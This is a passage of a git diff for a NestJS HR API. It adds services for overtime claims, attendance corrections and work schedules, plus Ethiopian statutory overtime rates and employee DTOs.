cursor.getHours(); + if (hour >= NIGHT_STARTS_HOUR || hour < NIGHT_ENDS_HOUR) return true; + cursor.setMinutes(cursor.getMinutes() + 30); + } + return false; + } + + async create( + dto: CreateOvertimeDto, + actor: ActorContext, + ): Promise { + const employeeId = dto.employeeId ?? actor.employeeId; + if (!employeeId) { + throw new BadRequestException( + "No employee to file this against — this account has no employee record.", + ); + } + + const employee = await this.iamDirectory.requireEmployee(employeeId); + const organizationId = employee.organizationId; + if (!organizationId) { + throw new BadRequestException( + `Cannot resolve an organization for employee ${employeeId}`, + ); + } + const scope = orgScope(actor); + if (scope && organizationId !== scope) { + throw new NotFoundException(`Employee ${employeeId} not found`); + } + + const startedAt = new Date(dto.startedAt); + const endedAt = new Date(dto.endedAt); + if (endedAt <= startedAt) { + throw new BadRequestException("endedAt must be after startedAt."); + } + + const hours = Number( + ((endedAt.getTime() - startedAt.getTime()) / 3_600_000).toFixed(2), + ); + if (hours > 24) { + throw new BadRequestException("A single claim cannot exceed 24 hours."); + } + + // The day the work belongs to — night work belongs to the day it began, so + // a shift starting 22:00 Monday is Monday's overtime, not Tuesday's. + const workDate = dto.workDate ?? startedAt.toISOString().slice(0, 10); + + const category = await this.categorize( + employeeId, + organizationId, + workDate, + startedAt, + endedAt, + ); + const rate = await this.rates.findOne({ + where: { organizationId, category }, + }); + if (!rate) { + throw new BadRequestException( + `No ${category} overtime rate is configured for this organization. ` + + "Seed the statutory rates first.", + ); + } + + await this.assertWithinLimits( + employeeId, + workDate, + hours, + category, + rate, + ); + + const profile = await this.employees.findByEmployeeId(employeeId); + const approverEmployeeId = + profile?.managerEmployeeId ?? + (await this.iamDirectory.findLineManagerEmployeeId(employeeId)); + + return this.requests.save( + this.requests.create({ + organizationId, + employeeId, + workDate, + startedAt, + endedAt, + hours: hours.toFixed(2), + category, + // Frozen here: a rate change next year must not reprice this claim. + multiplier: rate.multiplier, + status: EOvertimeStatus.SUBMITTED, + reason: dto.reason ?? null, + approverEmployeeId, + createdBy: actor.userId, + } as Partial), + ); + } + + async approve( + id: string, + note: string | undefined, + actor: ActorContext, + ): Promise { + const request = await this.requireRequest(id, actor); + this.assertPending(request); + if (request.employeeId === actor.employeeId) { + throw new ForbiddenException("You cannot approve your own overtime."); + } + + // Re-checked at approval: other claims may have been approved since, and the + // monthly ceiling is about the total, not about any one request. + const rate = await this.rates.findOne({ + where: { organizationId: request.organizationId, category: request.category }, + }); + await this.assertWithinLimits( + request.employeeId, + request.workDate, + Number(request.hours), + request.category, + rate ?? null, + request.id, + ); + + await this.requests.update(id, { + status: EOvertimeStatus.APPROVED, + decidedByEmployeeId: actor.employeeId ?? null, + decidedAt: new Date(), + decisionNote: note ?? null, + updatedBy: actor.userId, + }); + return { ...request, status: EOvertimeStatus.APPROVED }; + } + + async reject( + id: string, + note: string, + actor: ActorContext, + ): Promise { + const request = await this.requireRequest(id, actor); + this.assertPending(request); + await this.requests.update(id, { + status: EOvertimeStatus.REJECTED, + decidedByEmployeeId: actor.employeeId ?? null, + decidedAt: new Date(), + decisionNote: note, + updatedBy: actor.userId, + }); + return { ...request, status: EOvertimeStatus.REJECTED }; + } + + async withdraw(id: string, actor: ActorContext): Promise { + const request = await this.requireRequest(id, actor); + this.assertPending(request); + await this.requests.update(id, { + status: EOvertimeStatus.WITHDRAWN, + updatedBy: actor.userId, + }); + return { ...request, status: EOvertimeStatus.WITHDRAWN }; + } + + async findAll( + filters: { + employeeId?: string; + status?: EOvertimeStatus; + from?: string; + to?: string; + page?: number; + limit?: number; + }, + actor: ActorContext, + ): Promise> { + const page = filters.page ?? 1; + const limit = filters.limit ?? 25; + const qb = this.requests.createQueryBuilder("request"); + + const scope = orgScope(actor); + if (scope) { + qb.andWhere("request.organization_id = :scope", { scope }); + } + if (filters.employeeId) { + qb.andWhere("request.employee_id = :employeeId", { + employeeId: filters.employeeId, + }); + } + if (filters.status) { + qb.andWhere("request.status = :status", { status: filters.status }); + } + if (filters.from) qb.andWhere("request.work_date >= :from", { from: filters.from }); + if (filters.to) qb.andWhere("request.work_date <= :to", { to: filters.to }); + + const [items, total] = await qb + .orderBy("request.workDate", "DESC") + .skip((page - 1) * limit) + .take(limit) + .getManyAndCount(); + return paginate(items, total, page, limit); + } + + async findAwaitingMe( + actor: ActorContext, + page = 1, + limit = 25, + ): Promise> { + if (!actor.employeeId) return paginate([], 0, page, limit); + const [items, total] = await this.requests.findAndCount({ + where: { + approverEmployeeId: actor.employeeId, + status: EOvertimeStatus.SUBMITTED, + }, + order: { workDate: "DESC" }, + skip: (page - 1) * limit, + take: limit, + }); + return paginate(items, total, page, limit); + } + + /** + * Approved-hours totals for a period — what payroll multiplies. + * Grouped by category because each carries a different multiplier. + */ + async approvedTotals( + employeeId: string, + from: string, + to: string, + ): Promise<{ category: string; hours: number; multiplier: number }[]> { + const rows = await this.requests + .createQueryBuilder("request") + .select("request.category", "category") + .addSelect("SUM(request.hours)", "hours") + .addSelect("MAX(request.multiplier)", "multiplier") + .where("request.employee_id = :employeeId", { employeeId }) + .andWhere("request.status = :status", { status: EOvertimeStatus.APPROVED }) + .andWhere("request.work_date BETWEEN :from AND :to", { from, to }) + .groupBy("request.category") + .getRawMany<{ category: string; hours: string; multiplier: string }>(); + + return rows.map((row) => ({ + category: row.category, + hours: Number(row.hours), + multiplier: Number(row.multiplier), + })); + } + + // ──────────────────────────────────────────────────────────────────────── + + /** Art. 67: two hours a day on an ordinary day, 20 a month, 100 a year. */ + private async assertWithinLimits( + employeeId: string, + workDate: string, + hours: number, + category: EOvertimeCategory, + rate: OvertimeRate | null, + excludeRequestId?: string, + ): Promise { + const live = [EOvertimeStatus.SUBMITTED, EOvertimeStatus.APPROVED]; + + /** + * Half-open [from, until) rather than an inclusive BETWEEN. + * + * The inclusive form needs a real last-day-of-period, and constructing one + * by string — `${month}-31` — is invalid in every 30-day month and in + * February. It failed in September and passed in October, which is exactly + * the sort of bug that reaches production. + */ + const sumOver = async (from: string, until: string): Promise => { + const qb = this.requests + .createQueryBuilder("request") + .select("COALESCE(SUM(request.hours), 0)", "total") + .where("request.employee_id = :employeeId", { employeeId }) + .andWhere("request.status IN (:...live)", { live }) + .andWhere("request.work_date >= :from", { from }) + .andWhere("request.work_date < :until", { until }); + if (excludeRequestId) { + qb.andWhere("request.id != :excludeRequestId", { excludeRequestId }); + } + const row = await qb.getRawOne<{ total: string }>(); + return Number(row?.total ?? 0); + }; + + if (rate?.maxHoursPerDay) { + const sameDay = await sumOver(workDate, addDays(workDate, 1)); + const cap = Number(rate.maxHoursPerDay); + if (sameDay + hours > cap) { + throw new BadRequestException( + `${category} overtime is capped at ${cap} hours a day` + + (sameDay > 0 ? ` and ${sameDay} are already claimed` : "") + + `. This claim of ${hours} would exceed it. (Proc. 1156/2019 Art. 67)`, + ); + } + } + + const month = workDate.slice(0, 7); + const monthTotal = await sumOver( + `${month}-01`, + OvertimeService.firstOfNextMonth(month), + ); + if (monthTotal + hours > MAX_HOURS_PER_MONTH) { + throw new BadRequestException( + `Overtime is capped at ${MAX_HOURS_PER_MONTH} hours a month; ` + + `${monthTotal} are already claimed for ${month}. (Art. 67)`, + ); + } + + const year = Number(workDate.slice(0, 4)); + const yearTotal = await sumOver(`${year}-01-01`, `${year + 1}-01-01`); + if (yearTotal + hours > MAX_HOURS_PER_YEAR) { + throw new BadRequestException( + `Overtime is capped at ${MAX_HOURS_PER_YEAR} hours a year; ` + + `${yearTotal} are already claimed for ${year}. (Art. 67)`, + ); + } + } + + /** `2026-09` → `2026-10-01`. Rolls the year over at December. */ + private static firstOfNextMonth(month: string): string { + const [year, monthNumber] = month.split("-").map(Number); + return monthNumber === 12 + ? `${year + 1}-01-01` + : `${year}-${String(monthNumber + 1).padStart(2, "0")}-01`; + } + + private assertPending(request: OvertimeRequest): void { + if (request.status !== EOvertimeStatus.SUBMITTED) { + throw new BadRequestException( + `This claim is already ${request.status.toLowerCase()} and cannot be ` + + "decided again.", + ); + } + } + + private requireOrg(actor: ActorContext): string { + const organizationId = orgScope(actor) ?? actor.organizationId; + if (!organizationId) { + throw new BadRequestException( + "This account has no organization, and overtime rates belong to one.", + ); + } + return organizationId; + } + + private async requireRequest( + id: string, + actor: ActorContext, + ): Promise { + const request = await this.requests.findOne({ where: { id } }); + if (!request) throw new NotFoundException(`Overtime claim ${id} not found`); + const scope = orgScope(actor); + if (scope && request.organizationId !== scope) { + throw new NotFoundException(`Overtime claim ${id} not found`); + } + return request; + } +} diff --git a/apps/edr-hr-api/src/modules/attendance/services/regularizations.service.ts b/apps/edr-hr-api/src/modules/attendance/services/regularizations.service.ts new file mode 100644 index 000000000..4fb54671b --- /dev/null +++ b/apps/edr-hr-api/src/modules/attendance/services/regularizations.service.ts @@ -0,0 +1,314 @@ +import { + BadRequestException, + ConflictException, + ForbiddenException, + Injectable, + NotFoundException, +} from "@nestjs/common"; +import { InjectDataSource, InjectRepository } from "@nestjs/typeorm"; +import { DataSource, Repository } from "typeorm"; + +import { ActorContext, orgScope } from "../../employees/employees.service"; +import { EmployeesRepository } from "../../employees/employees.repository"; +import { IamDirectoryService } from "../../../iam-directory/iam-directory.service"; +import { Paginated, paginate } from "../../../common/pagination.dto"; +import { + AttendanceRegularization, + ERegularizationStatus, +} from "../entities/attendance-regularization.entity"; +import { + AttendanceRecord, + EAttendanceSource, +} from "../entities/attendance-record.entity"; +import { AttendanceRepository } from "../repositories/attendance.repository"; +import { AttendanceDayService } from "./attendance-day.service"; +import { WorkSchedulesService } from "./work-schedules.service"; +import { CreateRegularizationDto } from "../dto/regularization.dto"; + +@Injectable() +export class RegularizationsService { + constructor( + @InjectDataSource() private readonly dataSource: DataSource, + @InjectRepository(AttendanceRegularization) + private readonly regularizations: Repository, + private readonly attendance: AttendanceRepository, + private readonly schedules: WorkSchedulesService, + private readonly employees: EmployeesRepository, + private readonly iamDirectory: IamDirectoryService, + ) {} + + async create( + dto: CreateRegularizationDto, + actor: ActorContext, + ): Promise { + const employeeId = dto.employeeId ?? actor.employeeId; + if (!employeeId) { + throw new BadRequestException( + "No employee to file this against — this account has no employee record.", + ); + } + + const employee = await this.iamDirectory.requireEmployee(employeeId); + const organizationId = employee.organizationId; + if (!organizationId) { + throw new BadRequestException( + `Cannot resolve an organization for employee ${employeeId}`, + ); + } + const scope = orgScope(actor); + if (scope && organizationId !== scope) { + throw new NotFoundException(`Employee ${employeeId} not found`); + } + + if (!dto.requestedCheckIn && !dto.requestedCheckOut) { + throw new BadRequestException( + "A correction must propose a check-in, a check-out, or both.", + ); + } + if ( + dto.requestedCheckIn && + dto.requestedCheckOut && + new Date(dto.requestedCheckOut) < new Date(dto.requestedCheckIn) + ) { + throw new BadRequestException( + "The proposed check-out is before the proposed check-in.", + ); + } + + const open = await this.regularizations.findOne({ + where: { + employeeId, + workDate: dto.workDate, + status: ERegularizationStatus.SUBMITTED, + }, + }); + if (open) { + throw new ConflictException( + `A correction for ${dto.workDate} is already awaiting a decision.`, + ); + } + + const record = await this.attendance.findForDate(employeeId, dto.workDate); + const profile = await this.employees.findByEmployeeId(employeeId); + const approverEmployeeId = + profile?.managerEmployeeId ?? + (await this.iamDirectory.findLineManagerEmployeeId(employeeId)); + + return this.regularizations.save( + this.regularizations.create({ + organizationId, + employeeId, + attendanceRecordId: record?.id ?? null, + workDate: dto.workDate, + requestedCheckIn: dto.requestedCheckIn + ? new Date(dto.requestedCheckIn) + : null, + requestedCheckOut: dto.requestedCheckOut + ? new Date(dto.requestedCheckOut) + : null, + reason: dto.reason, + status: ERegularizationStatus.SUBMITTED, + approverEmployeeId, + createdBy: actor.userId, + } as Partial), + ); + } + + /** + * Approve, and apply the correction in the same transaction. + * + * The values being replaced are copied onto the request first. Without that, + * approving destroys the only evidence of what the record said — and "the + * system says I was late but I corrected it" is precisely the conversation + * this feature exists to settle. + */ + async approve( + id: string, + note: string | undefined, + actor: ActorContext, + ): Promise { + const request = await this.requireRequest(id, actor); + this.assertPending(request); + if (request.employeeId === actor.employeeId) { + throw new ForbiddenException( + "You cannot approve your own attendance correction.", + ); + } + + const schedule = await this.schedules.resolveFor( + request.employeeId, + request.organizationId, + request.workDate, + ); + + return this.dataSource.transaction(async (manager) => { + const records = manager.getRepository(AttendanceRecord); + const existing = await records.findOne({ + where: { employeeId: request.employeeId, workDate: request.workDate }, + }); + + const checkIn = + request.requestedCheckIn ?? existing?.checkIn ?? null; + const checkOut = + request.requestedCheckOut ?? existing?.checkOut ?? null; + + if (!checkIn) { + throw new BadRequestException( + "This correction sets only a check-out, and there is no check-in on " + + "the record for it to close. Propose both.", + ); + } + + const measured = AttendanceDayService.measure( + schedule, + request.workDate, + checkIn, + checkOut, + ); + const status = checkOut + ? AttendanceDayService.statusForWorkedDay(schedule, measured) + : existing?.status ?? AttendanceDayService.statusForWorkedDay(schedule, measured); + + const applied = { + checkIn, + checkOut, + status, + ...measured, + isRegularized: true, + source: EAttendanceSource.MANUAL, + workScheduleId: schedule?.id ?? null, + updatedBy: actor.userId, + }; + + if (existing) { + await records.update(existing.id, applied); + } else { + await records.save( + records.create({ + organizationId: request.organizationId, + employeeId: request.employeeId, + workDate: request.workDate, + ...applied, + createdBy: actor.userId, + } as Partial), + ); + } + + await manager.getRepository(AttendanceRegularization).update(request.id, { + status: ERegularizationStatus.APPROVED, + // Captured now, not at submission — the record may have moved since. + originalCheckIn: existing?.checkIn ?? null, + originalCheckOut: existing?.checkOut ?? null, + originalStatus: existing?.status ?? null, + decidedByEmployeeId: actor.employeeId ?? null, + decidedAt: new Date(), + decisionNote: note ?? null, + updatedBy: actor.userId, + }); + + return { ...request, status: ERegularizationStatus.APPROVED }; + }); + } + + async reject( + id: string, + note: string, + actor: ActorContext, + ): Promise { + const request = await this.requireRequest(id, actor); + this.assertPending(request); + await this.regularizations.update(id, { + status: ERegularizationStatus.REJECTED, + decidedByEmployeeId: actor.employeeId ?? null, + decidedAt: new Date(), + decisionNote: note, + updatedBy: actor.userId, + }); + return { ...request, status: ERegularizationStatus.REJECTED }; + } + + async withdraw( + id: string, + actor: ActorContext, + ): Promise { + const request = await this.requireRequest(id, actor); + this.assertPending(request); + await this.regularizations.update(id, { + status: ERegularizationStatus.WITHDRAWN, + updatedBy: actor.userId, + }); + return { ...request, status: ERegularizationStatus.WITHDRAWN }; + } + + async findAll( + filters: { + employeeId?: string; + status?: ERegularizationStatus; + page?: number; + limit?: number; + }, + actor: ActorContext, + ): Promise> { + const page = filters.page ?? 1; + const limit = filters.limit ?? 25; + const qb = this.regularizations.createQueryBuilder("request"); + + const scope = orgScope(actor); + if (scope) qb.andWhere("request.organization_id = :scope", { scope }); + if (filters.employeeId) { + qb.andWhere("request.employee_id = :employeeId", { + employeeId: filters.employeeId, + }); + } + if (filters.status) { + qb.andWhere("request.status = :status", { status: filters.status }); + } + + const [items, total] = await qb + .orderBy("request.workDate", "DESC") + .skip((page - 1) * limit) + .take(limit) + .getManyAndCount(); + return paginate(items, total, page, limit); + } + + async findAwaitingMe( + actor: ActorContext, + page = 1, + limit = 25, + ): Promise> { + if (!actor.employeeId) return paginate([], 0, page, limit); + const [items, total] = await this.regularizations.findAndCount({ + where: { + approverEmployeeId: actor.employeeId, + status: ERegularizationStatus.SUBMITTED, + }, + order: { workDate: "DESC" }, + skip: (page - 1) * limit, + take: limit, + }); + return paginate(items, total, page, limit); + } + + private assertPending(request: AttendanceRegularization): void { + if (request.status !== ERegularizationStatus.SUBMITTED) { + throw new BadRequestException( + `This correction is already ${request.status.toLowerCase()} and cannot ` + + "be decided again.", + ); + } + } + + private async requireRequest( + id: string, + actor: ActorContext, + ): Promise { + const request = await this.regularizations.findOne({ where: { id } }); + if (!request) throw new NotFoundException(`Correction ${id} not found`); + const scope = orgScope(actor); + if (scope && request.organizationId !== scope) { + throw new NotFoundException(`Correction ${id} not found`); + } + return request; + } +} diff --git a/apps/edr-hr-api/src/modules/attendance/services/work-schedules.service.ts b/apps/edr-hr-api/src/modules/attendance/services/work-schedules.service.ts new file mode 100644 index 000000000..77cd34dd9 --- /dev/null +++ b/apps/edr-hr-api/src/modules/attendance/services/work-schedules.service.ts @@ -0,0 +1,250 @@ +import { + BadRequestException, + ConflictException, + Injectable, + NotFoundException, +} from "@nestjs/common"; + +import { ActorContext, orgScope } from "../../employees/employees.service"; +import { IamDirectoryService } from "../../../iam-directory/iam-directory.service"; +import { + WorkScheduleAssignmentsRepository, + WorkSchedulesRepository, +} from "../repositories/work-schedules.repository"; +import { WorkSchedule } from "../entities/work-schedule.entity"; +import { WorkScheduleAssignment } from "../entities/work-schedule-assignment.entity"; +import { + AssignScheduleDto, + CreateWorkScheduleDto, + UpdateWorkScheduleDto, +} from "../dto/work-schedule.dto"; +import { addDays } from "../../leave/services/working-days.service"; + +@Injectable() +export class WorkSchedulesService { + constructor( + private readonly schedules: WorkSchedulesRepository, + private readonly assignments: WorkScheduleAssignmentsRepository, + private readonly iamDirectory: IamDirectoryService, + ) {} + + async create( + dto: CreateWorkScheduleDto, + actor: ActorContext, + ): Promise { + const organizationId = this.requireOrg(actor); + const clash = await this.schedules.findByCode(organizationId, dto.code); + if (clash) { + throw new ConflictException(`Work schedule ${dto.code} already exists`); + } + WorkSchedulesService.assertCoherent(dto); + + if (dto.isDefault) await this.schedules.clearDefault(organizationId); + + return this.schedules.create({ + ...dto, + organizationId, + createdBy: actor.userId, + } as Partial); + } + + async update( + id: string, + dto: UpdateWorkScheduleDto, + actor: ActorContext, + ): Promise { + const schedule = await this.requireSchedule(id, orgScope(actor)); + WorkSchedulesService.assertCoherent({ ...schedule, ...dto }); + + if (dto.isDefault) await this.schedules.clearDefault(schedule.organizationId); + + return ( + (await this.schedules.update(id, { ...dto, updatedBy: actor.userId })) ?? + schedule + ); + } + + findAll(actor: ActorContext): Promise { + return this.schedules.findAllFor(orgScope(actor)); + } + + findOne(id: string, actor: ActorContext): Promise { + return this.requireSchedule(id, orgScope(actor)); + } + + async remove(id: string, actor: ActorContext): Promise { + const schedule = await this.requireSchedule(id, orgScope(actor)); + const open = await this.assignments.findOpenForSchedule(schedule.id); + if (open > 0) { + throw new ConflictException( + `${open} employee(s) are currently on this schedule. Move them to ` + + "another one first, or deactivate this schedule instead of deleting it.", + ); + } + await this.schedules.softDelete(id); + } + + /** + * Put an employee on a schedule from a date. + * + * The previous assignment is closed the day before rather than deleted, so + * attendance already recorded keeps resolving to the schedule that actually + * applied — moving someone to a later shift must not retroactively make last + * month's punctual arrivals late. + */ + async assign( + dto: AssignScheduleDto, + actor: ActorContext, + ): Promise { + const schedule = await this.requireSchedule(dto.workScheduleId, orgScope(actor)); + const employee = await this.iamDirectory.requireEmployee(dto.employeeId); + + if ( + !actor.isSuperAdmin && + employee.organizationId !== schedule.organizationId + ) { + throw new BadRequestException( + "That employee and that schedule belong to different organizations.", + ); + } + + const open = await this.assignments.findOpenFor(dto.employeeId); + if (open) { + if (open.workScheduleId === schedule.id) { + throw new ConflictException( + `They are already on ${schedule.code}, since ${open.effectiveFrom}.`, + ); + } + if (dto.effectiveFrom <= open.effectiveFrom) { + throw new BadRequestException( + `The new schedule must start after the current one began ` + + `(${open.effectiveFrom}).`, + ); + } + await this.assignments.update(open.id, { + effectiveTo: addDays(dto.effectiveFrom, -1), + updatedBy: actor.userId, + }); + } + + return this.assignments.create({ + organizationId: schedule.organizationId, + employeeId: dto.employeeId, + workScheduleId: schedule.id, + effectiveFrom: dto.effectiveFrom, + createdBy: actor.userId, + } as Partial); + } + + /** + * The schedule that applied to an employee on a date. + * + * Falls back to the organization's default, and then to null. Null is a valid + * answer, not an error: attendance can still record punches without a + * schedule, it simply cannot judge lateness — better than refusing to record + * that somebody came to work. + */ + async resolveFor( + employeeId: string, + organizationId: string, + date: string, + ): Promise { + const assignment = await this.assignments.findOnDate(employeeId, date); + if (assignment?.workSchedule) return assignment.workSchedule; + return this.schedules.findDefault(organizationId); + } + + history(employeeId: string): Promise { + return this.assignments.findHistory(employeeId); + } + + /** + * Rules the CHECK constraints cannot express on their own. + * + * Typed on the fields rather than on the DTO class so the same check can run + * over an entity merged with a partial update — the update path has to + * validate the RESULT, not just the fields that changed. + */ + private static assertCoherent(dto: { + startTime?: string; + endTime?: string; + breakMinutes?: number; + crossesMidnight?: boolean; + workingDays?: number[] | null; + minMinutesFullDay?: number; + }): void { + if (dto.workingDays) { + if (dto.workingDays.length === 0) { + throw new BadRequestException( + "A schedule must work at least one day of the week.", + ); + } + if (new Set(dto.workingDays).size !== dto.workingDays.length) { + throw new BadRequestException("workingDays contains duplicates"); + } + } + + if (dto.startTime && dto.endTime && !dto.crossesMidnight) { + if (dto.endTime <= dto.startTime) { + throw new BadRequestException( + "endTime must be after startTime. If this is a night shift, set " + + "crossesMidnight instead.", + ); + } + } + + // A day that cannot reach its own full-day threshold would mark every + // attendance HALF_DAY, however long the employee stayed. + const start = dto.startTime; + const end = dto.endTime; + if (start && end && dto.minMinutesFullDay !== undefined) { + const span = WorkSchedulesService.spanMinutes( + start, + end, + dto.crossesMidnight ?? false, + ); + const payable = span - (dto.breakMinutes ?? 0); + if (dto.minMinutesFullDay > payable) { + throw new BadRequestException( + `A full day needs ${dto.minMinutesFullDay} minutes, but this shift ` + + `only offers ${payable} after its break. Every day would be counted ` + + "as a half day.", + ); + } + } + } + + private static spanMinutes( + start: string, + end: string, + crossesMidnight: boolean, + ): number { + const toMinutes = (time: string) => { + const [hours, minutes] = time.split(":").map(Number); + return hours * 60 + minutes; + }; + const raw = toMinutes(end) - toMinutes(start); + return crossesMidnight && raw <= 0 ? raw + 1440 : raw; + } + + private requireOrg(actor: ActorContext): string { + const organizationId = orgScope(actor) ?? actor.organizationId; + if (!organizationId) { + throw new BadRequestException( + "This account has no organization, and work schedules belong to one.", + ); + } + return organizationId; + } + + private async requireSchedule( + id: string, + organizationId: string | null, + ): Promise { + const schedule = await this.schedules.findById(id); + if (!schedule || (organizationId && schedule.organizationId !== organizationId)) { + throw new NotFoundException(`Work schedule ${id} not found`); + } + return schedule; + } +} diff --git a/apps/edr-hr-api/src/modules/attendance/statutory-overtime-rates.ts b/apps/edr-hr-api/src/modules/attendance/statutory-overtime-rates.ts new file mode 100644 index 000000000..fe2183f63 --- /dev/null +++ b/apps/edr-hr-api/src/modules/attendance/statutory-overtime-rates.ts @@ -0,0 +1,45 @@ +import { EOvertimeCategory } from "./entities/overtime.entity"; + +/** + * The statutory overtime premiums under **Labour Proclamation No. 1156/2019**, + * Art. 68, with the daily cap from Art. 67. + * + * A seed, not a rule. Every figure lands in a column an employer can raise — + * the statute is a floor, and paying more is lawful while paying less is not. + * `statuteReference` records where each default came from, so a later edit reads + * as a deliberate decision rather than a typo. + * + * NOT modelled here: the annual and monthly ceilings (Art. 67 also limits + * overtime to 20 hours a month and 100 a year). Those are checked against the + * accumulated total across requests, which is the overtime service's job, not a + * property of a rate. + */ +export const STATUTORY_OVERTIME_RATES = [ + { + category: EOvertimeCategory.DAY, + multiplier: "1.50", + // Art. 67: two hours a day, on an ordinary working day. + maxHoursPerDay: "2.00", + statuteReference: "Proc. 1156/2019 Art. 68(1)(a)", + }, + { + category: EOvertimeCategory.NIGHT, + multiplier: "1.75", + maxHoursPerDay: "2.00", + statuteReference: "Proc. 1156/2019 Art. 68(1)(b)", + }, + { + category: EOvertimeCategory.REST_DAY, + multiplier: "2.00", + // A rest day has no ordinary shift to extend, so the two-hour cap on + // *extending a day* does not apply. Left uncapped rather than guessed at. + maxHoursPerDay: null, + statuteReference: "Proc. 1156/2019 Art. 68(1)(c)", + }, + { + category: EOvertimeCategory.PUBLIC_HOLIDAY, + multiplier: "2.50", + maxHoursPerDay: null, + statuteReference: "Proc. 1156/2019 Art. 68(1)(d)", + }, +] as const; diff --git a/apps/edr-hr-api/src/modules/employees/dto/create-employee-document.dto.ts b/apps/edr-hr-api/src/modules/employees/dto/create-employee-document.dto.ts new file mode 100644 index 000000000..0269fca48 --- /dev/null +++ b/apps/edr-hr-api/src/modules/employees/dto/create-employee-document.dto.ts @@ -0,0 +1,55 @@ +import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger"; +import { Type } from "class-transformer"; +import { + IsDateString, + IsEnum, + IsOptional, + IsString, + IsUUID, + MaxLength, + ValidateNested, +} from "class-validator"; + +import { EEmployeeDocumentType } from "../entities/employee-document.entity"; +import { LocalizedNameDto } from "./create-employee-profile.dto"; + +export class CreateEmployeeDocumentDto { + @ApiProperty({ enum: EEmployeeDocumentType }) + @IsEnum(EEmployeeDocumentType) + documentType!: EEmployeeDocumentType; + + @ApiProperty({ + format: "uuid", + description: "DMS document id — upload to DMS first, then file it here.", + }) + @IsUUID() + documentId!: string; + + @ApiPropertyOptional() + @IsOptional() + @IsString() + @MaxLength(128) + documentNumber?: string; + + @ApiPropertyOptional({ format: "date" }) + @IsOptional() + @IsDateString() + issueDate?: string; + + @ApiPropertyOptional({ format: "date" }) + @IsOptional() + @IsDateString() + expiryDate?: string; + + @ApiPropertyOptional() + @IsOptional() + @IsString() + @MaxLength(128) + issuingAuthority?: string; + + @ApiPropertyOptional({ type: LocalizedNameDto }) + @IsOptional() + @ValidateNested() + @Type(() => LocalizedNameDto) + notes?: LocalizedNameDto; +} diff --git a/apps/edr-hr-api/src/modules/employees/dto/create-employee-profile.dto.ts b/apps/edr-hr-api/src/modules/employees/dto/create-employee-profile.dto.ts new file mode 100644 index 000000000..0b5421563 --- /dev/null +++ b/apps/edr-hr-api/src/modules/employees/dto/create-employee-profile.dto.ts @@ -0,0 +1,213 @@ +import { ApiProperty, ApiPropertyOptional } from "@nestjs/swagger"; +import { Type } from "class-transformer"; +import { + IsBoolean, + IsDateString, + IsEmail, + IsEnum, + IsInt, + IsNotEmpty, + IsObject, + IsOptional, + IsString, + IsUUID, + Max, + MaxLength, + Min, + ValidateNested, +} from "class-validator"; + +import { + EEmploymentState, + EEmploymentType, + EGender, + EMaritalStatus, + ESalaryMode, +} from "../entities/employee-profile.entity"; + +export class PersonalAddressDto { + @ApiPropertyOptional() @IsOptional() @IsString() @MaxLength(64) region?: string; + @ApiPropertyOptional() @IsOptional() @IsString() @MaxLength(64) subCity?: string; + @ApiPropertyOptional() @IsOptional() @IsString() @MaxLength(64) zone?: string; + @ApiPropertyOptional() @IsOptional() @IsString() @MaxLength(64) woreda?: string; + @ApiPropertyOptional() @IsOptional() @IsString() @MaxLength(64) kebele?: string; + @ApiPropertyOptional() @IsOptional() @IsString() @MaxLength(32) houseNumber?: string; +} + +/** The `{am, en}` shape every localized field on the platform uses. */ +export class LocalizedNameDto { + @ApiProperty() @IsString() @IsNotEmpty() @MaxLength(128) am!: string; + @ApiProperty() @IsString() @IsNotEmpty() @MaxLength(128) en!: string; +} + +export class CreateEmployeeProfileDto { + /** + * The `iam.employees.id` this profile extends. The employee must already exist + * in IAM — HR never creates one (3.5 hires through the IAM user API, then + * creates the profile). + */ + @ApiProperty({ format: "uuid" }) + @IsUUID() + employeeId!: string; + + /** + * Optional: when omitted the service generates the next number for the + * organization. Supplied explicitly when migrating existing staff whose + * numbers must be preserved. + */ + @ApiPropertyOptional({ maxLength: 64 }) + @IsOptional() + @IsString() + @MaxLength(64) + employeeNumber?: string; + + // ── Personal ── + @ApiPropertyOptional({ format: "date" }) + @IsOptional() + @IsDateString() + dateOfBirth?: string; + + @ApiPropertyOptional({ enum: EGender }) + @IsOptional() + @IsEnum(EGender) + gender?: EGender; + + @ApiPropertyOptional({ default: "Ethiopian" }) + @IsOptional() + @IsString() + @MaxLength(64) + nationality?: string; + + @ApiPropertyOptional() @IsOptional() @IsString() @MaxLength(64) nationalId?: string; + @ApiPropertyOptional() @IsOptional() @IsString() @MaxLength(32) tinNumber?: string; + + @ApiPropertyOptional({ enum: EMaritalStatus }) + @IsOptional() + @IsEnum(EMaritalStatus) + maritalStatus?: EMaritalStatus; + + @ApiPropertyOptional({ minimum: 0, maximum: 30 }) + @IsOptional() + @Type(() => Number) + @IsInt() + @Min(0) + @Max(30) + childrenCount?: number; + + @ApiPropertyOptional() @IsOptional() @IsString() @MaxLength(32) workPhone?: string; + + @ApiPropertyOptional() + @IsOptional() + @IsEmail() + @MaxLength(128) + workEmail?: string; + + @ApiPropertyOptional({ type: PersonalAddressDto }) + @IsOptional() + @ValidateNested() + @Type(() => PersonalAddressDto) + personalAddress?: PersonalAddressDto; + + @ApiPropertyOptional({ type: LocalizedNameDto }) + @IsOptional() + @ValidateNested() + @Type(() => LocalizedNameDto) + emergencyContactName?: LocalizedNameDto; + + @ApiPropertyOptional() + @IsOptional() + @IsString() + @MaxLength(32) + emergencyContactPhone?: string; + + @ApiPropertyOptional() + @IsOptional() + @IsString() + @MaxLength(64) + emergencyContactRelation?: string; + + // ── Employment ── + @ApiPropertyOptional({ format: "uuid" }) + @IsOptional() + @IsUUID() + jobTitleId?: string; + + @ApiPropertyOptional({ format: "uuid", description: "iam.locations.id" }) + @IsOptional() + @IsUUID() + workLocationId?: string; + + @ApiProperty({ enum: EEmploymentType }) + @IsEnum(EEmploymentType) + employmentType!: EEmploymentType; + + @ApiProperty({ format: "date" }) + @IsDateString() + hireDate!: string; + + @ApiPropertyOptional({ format: "date" }) + @IsOptional() + @IsDateString() + contractEndDate?: string; + + @ApiPropertyOptional({ format: "date" }) + @IsOptional() + @IsDateString() + probationEndDate?: string; + + @ApiPropertyOptional({ + enum: EEmploymentState, + description: + "Defaults to PROBATION when a probation end date is set, ACTIVE otherwise.", + }) + @IsOptional() + @IsEnum(EEmploymentState) + employmentState?: EEmploymentState; + + @ApiPropertyOptional({ + format: "uuid", + description: + "Manager OVERRIDE (iam.employees.id). Omit to use the IAM position hierarchy.", + }) + @IsOptional() + @IsUUID() + managerEmployeeId?: string; + + // 